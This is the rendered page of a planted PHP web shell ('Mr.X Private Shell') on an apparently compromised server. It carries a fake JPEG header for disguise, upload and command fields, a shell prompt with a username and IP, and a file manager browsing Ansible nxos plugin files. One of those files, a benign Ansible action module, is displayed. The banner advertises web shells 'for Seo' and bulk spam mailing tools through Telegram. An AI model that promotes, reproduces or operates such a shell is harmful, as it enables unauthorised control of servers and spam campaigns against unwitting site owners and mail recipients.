����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# (c) 2016 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import absolute_import, division, print_function


__metaclass__ = type

from ansible import constants as C
from ansible.module_utils.connection import Connection
from ansible.utils.display import Display
from ansible_collections.ansible.netcommon.plugins.action.network import (
    ActionModule as ActionNetworkModule,
)


display = Display()


class ActionModule(ActionNetworkModule):
    def run(self, tmp=None, task_vars=None):
        del tmp  # tmp no longer has any effect

        module_name = self._task.action.split(".")[-1]
        self._config_module = True if module_name in ["nxos_config", "config"] else False
        persistent_connection = self._play_context.connection.split(".")[-1]

        warnings = []

        if (self._play_context.connection == "httpapi") and module_name in (
            "nxos_file_copy",
            "nxos_nxapi",
        ):
            return {
                "failed": True,
                "msg": "Connection httpapi is not valid for '%s' module." % (module_name),
            }

        if module_name == "nxos_file_copy":
            # when file_pull is enabled, the file_pull_timeout and connect_ssh_port options
            # will override persistent_command_timeout and port
            # this has been kept for backwards compatibility till these options are removed
            if persistent_connection != "network_cli":
                return {
                    "failed": True,
                    "msg": "Connection type must be fully qualified name for network_cli connection type, got %s"
                    % self._play_context.connection,
                }

            conn = Connection(self._connection.socket_path)
            file_pull = self._task.args.get("file_pull", False)
            file_pull_timeout = self._task.args.get("file_pull_timeout", 300)
            connect_ssh_port = self._task.args.get("connect_ssh_port", 22)

            if file_pull:
                conn.set_option("persistent_command_timeout", file_pull_timeout)
                conn.set_option("port", connect_ssh_port)

        if module_name == "nxos_install_os":
            connection = self._connection
            if connection.transport == "local":
                persistent_command_timeout = C.PERSISTENT_COMMAND_TIMEOUT
                persistent_connect_timeout = C.PERSISTENT_CONNECT_TIMEOUT
            else:
                persistent_command_timeout = connection.get_option("persistent_command_timeout")
                persistent_connect_timeout = connection.get_option("persistent_connect_timeout")

            display.vvvv(
                "PERSISTENT_COMMAND_TIMEOUT is %s" % str(persistent_command_timeout),
                self._play_context.remote_addr,
            )
            display.vvvv(
                "PERSISTENT_CONNECT_TIMEOUT is %s" % str(persistent_connect_timeout),
                self._play_context.remote_addr,
            )
            if persistent_command_timeout < 600 or persistent_connect_timeout < 600:
                msg = "PERSISTENT_COMMAND_TIMEOUT and PERSISTENT_CONNECT_TIMEOUT"
                msg += " must be set to 600 seconds or higher when using nxos_install_os module."
                msg += " Current persistent_command_timeout setting:" + str(
                    persistent_command_timeout,
                )
                msg += " Current persistent_connect_timeout setting:" + str(
                    persistent_connect_timeout,
                )
                return {"failed": True, "msg": msg}

        if persistent_connection in ("network_cli", "httpapi"):
            if module_name == "nxos_gir":
                conn = Connection(self._connection.socket_path)
                persistent_command_timeout = conn.get_option("persistent_command_timeout")
                gir_timeout = 200
                if persistent_command_timeout < gir_timeout:
                    conn.set_option("persistent_command_timeout", gir_timeout)
                    msg = "timeout value extended to %ss for nxos_gir" % gir_timeout
                    display.warning(msg)

        else:
            return {
                "failed": True,
                "msg": "Connection type %s is not valid for this module"
                % self._play_context.connection,
            }

        result = super(ActionModule, self).run(task_vars=task_vars)
        if warnings:
            if "warnings" in result:
                result["warnings"].extend(warnings)
            else:
                result["warnings"] = warnings
        return result

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
aaa_server.py File 5.12 KB 0644
aaa_server_host.py File 5.12 KB 0644
acl.py File 5.12 KB 0644
acl_interface.py File 5.12 KB 0644
acl_interfaces.py File 5.12 KB 0644
acls.py File 5.12 KB 0644
banner.py File 5.12 KB 0644
bfd_global.py File 5.12 KB 0644
bfd_interfaces.py File 5.12 KB 0644
bgp.py File 5.12 KB 0644
bgp_address_family.py File 5.12 KB 0644
bgp_af.py File 5.12 KB 0644
bgp_global.py File 5.12 KB 0644
bgp_neighbor.py File 5.12 KB 0644
bgp_neighbor_address_family.py File 5.12 KB 0644
bgp_neighbor_af.py File 5.12 KB 0644
command.py File 5.12 KB 0644
config.py File 5.12 KB 0644
devicealias.py File 5.12 KB 0644
evpn_global.py File 5.12 KB 0644
evpn_vni.py File 5.12 KB 0644
facts.py File 5.12 KB 0644
feature.py File 5.12 KB 0644
file_copy.py File 5.12 KB 0644
gir.py File 5.12 KB 0644
gir_profile_management.py File 5.12 KB 0644
hostname.py File 5.12 KB 0644
hsrp.py File 5.12 KB 0644
hsrp_interfaces.py File 5.12 KB 0644
igmp.py File 5.12 KB 0644
igmp_interface.py File 5.12 KB 0644
igmp_snooping.py File 5.12 KB 0644
install_os.py File 5.12 KB 0644
interface.py File 5.12 KB 0644
interface_ospf.py File 5.12 KB 0644
interfaces.py File 5.12 KB 0644
l2_interface.py File 5.12 KB 0644
l2_interfaces.py File 5.12 KB 0644
l3_interface.py File 5.12 KB 0644
l3_interfaces.py File 5.12 KB 0644
lacp.py File 5.12 KB 0644
lacp_interfaces.py File 5.12 KB 0644
lag_interfaces.py File 5.12 KB 0644
linkagg.py File 5.12 KB 0644
lldp.py File 5.12 KB 0644
lldp_global.py File 5.12 KB 0644
lldp_interfaces.py File 5.12 KB 0644
logging.py File 5.12 KB 0644
logging_global.py File 5.12 KB 0644
ntp.py File 5.12 KB 0644
ntp_auth.py File 5.12 KB 0644
ntp_global.py File 5.12 KB 0644
ntp_options.py File 5.12 KB 0644
nxapi.py File 5.12 KB 0644
nxos.py File 5.12 KB 0644
ospf.py File 5.12 KB 0644
ospf_interfaces.py File 5.12 KB 0644
ospf_vrf.py File 5.12 KB 0644
ospfv2.py File 5.12 KB 0644
ospfv3.py File 5.12 KB 0644
overlay_global.py File 5.12 KB 0644
pim.py File 5.12 KB 0644
pim_interface.py File 5.12 KB 0644
pim_rp_address.py File 5.12 KB 0644
ping.py File 5.12 KB 0644
prefix_lists.py File 5.12 KB 0644
reboot.py File 5.12 KB 0644
rollback.py File 5.12 KB 0644
route_maps.py File 5.12 KB 0644
rpm.py File 5.12 KB 0644
smu.py File 5.12 KB 0644
snapshot.py File 5.12 KB 0644
snmp_community.py File 5.12 KB 0644
snmp_contact.py File 5.12 KB 0644
snmp_host.py File 5.12 KB 0644
snmp_location.py File 5.12 KB 0644
snmp_server.py File 5.12 KB 0644
snmp_traps.py File 5.12 KB 0644
snmp_user.py File 5.12 KB 0644
static_route.py File 5.12 KB 0644
static_routes.py File 5.12 KB 0644
system.py File 5.12 KB 0644
telemetry.py File 5.12 KB 0644
udld.py File 5.12 KB 0644
udld_interface.py File 5.12 KB 0644
user.py File 5.12 KB 0644
vlan.py File 5.12 KB 0644
vlans.py File 5.12 KB 0644
vpc.py File 5.12 KB 0644
vpc_interface.py File 5.12 KB 0644
vrf.py File 5.12 KB 0644
vrf_af.py File 5.12 KB 0644
vrf_interface.py File 5.12 KB 0644
vrrp.py File 5.12 KB 0644
vsan.py File 5.12 KB 0644
vtp_domain.py File 5.12 KB 0644
vtp_password.py File 5.12 KB 0644
vtp_version.py File 5.12 KB 0644
vxlan_vtep.py File 5.12 KB 0644
vxlan_vtep_vni.py File 5.12 KB 0644
zone_zoneset.py File 5.12 KB 0644